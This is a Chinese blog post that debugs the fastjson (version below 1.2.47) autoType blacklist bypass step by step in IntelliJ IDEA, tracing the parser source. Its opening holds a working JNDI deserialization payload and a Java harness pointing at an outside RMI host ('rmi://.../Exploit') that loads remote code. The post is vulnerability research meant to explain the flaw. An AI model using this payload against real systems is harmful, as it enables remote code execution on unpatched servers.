IDEA debug漏洞第二弹(fastjson,version<1.2.47)(修正 )

首先这个漏洞调试不需要非要使用docker,本身是一个jar包的问题。所以我们可以自己写一个小java代码来直接调试。

POC如下

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxxxx/Exploit","autoCommit":true}} 
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {

public static void main(String[] args)
{
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//String payload1 = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xxxxx/Exploit\"}}";
String payload2 = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://fast.s.pproot.com/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload2);
}
}

java代码如上,下载fastjson-1.2.44.jar放到对应lib目录下,并把lib目录加入到libraries上。

在JSON.parse(payload);下断点,调试。

    public static Object parse(String text, int features) {
        return parse(text, ParserConfig.getGlobalInstance(), features);
    }

在这块,我个人认为ParserConfig.getGlobalInstance()主要是获取整个代码调用fastjson的时候的设置的环境变量,也就是说,如果在代码块未对一些配置参数更改,那这块获取的配置就是默认的配置环境

 环境可以理解为,就是一些参数值是true还是false。

我们可以看到,autoTypeSupport是false的,

在一些POC里,我们也搜到了一些fastjson  rce漏洞 触发的条件之一就是ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

    public static Object parse(String text, ParserConfig config, int features) {
        if (text == null) {
            return null;
        }

        DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
        Object value = parser.parse();

        parser.handleResovleTask(value);

        parser.close();

        return value;
    }

来到DefaultJSONParser parser = new DefaultJSONParser(text, config, features);

 text就是传入的poc,config就是之前的全局环境配置。我们假设我们不知道哪里触发的,于是我们就要跟入一下new  DefaultJSONParser这个实例化操作。

    public DefaultJSONParser(final String input, final ParserConfig config, int features){
        this(input, new JSONScanner(input, features), config);
    }

到这块,继续深入。可以通过查看dnslog,发现还没收到请求,说明还没触发漏洞。

第一个关键点

com/alibaba/fastjson/util/TypeUtils.java

 

 

把com.sun.rowset.JdbcRowSetImpl放进了一个mappings里,key为com.sun.rowset.JdbcRowSetImpl,值为class com.sun.rowset.JdbcRowSetImpl。

 

给出一下断点的位置

 

 

 

看下mappings里面都有哪些缓存类:

 

 挺多的,然后因为我们通过java.lang.Class类的方式把com.sun.rowset.JdbcRowSetImpl放在了mappings里,下次反序列化的时候,这个类在mappings里的话,就不会报类错误了。

 

 

类在mappings里了。

然后继续跟,来到com/alibaba/fastjson/parser/ParserConfig.java的

 

 

因为已经来到x的value字段了,当取到存在typename是com.sun.rowset.JdbcRowSetImpl

所以要取clazz出来,我们跟一下,

 

 mappings.get取出来,

 

 

 

 可以看到clazz已经赋值了

 

 一路高歌猛进,进到了

 

 

 

 superClass = clazz

也就是supterClass等于class com.sun.rowset.JdbcRowSetImpl

 

 

然后superClass又赋值了class com.sun.rowset.JdbcRowSetImpl的父类。

 

 这个for循环要一直循环到最高父类为Object.class才能break这个循环,不过这个比较简单的,因为所有类都是基于Object.class的 。

经过一系列的for循环量,然后终于来到了putDeserializer(type, derializer);

 

 

最后触发了,没经过报错

 

 

之前42版本就加入黑名单了的com.sun包被绕过了

 

posted @ 2019-11-07 17:14  ph4nt0mer  阅读(1792)  评论(0编辑  收藏  举报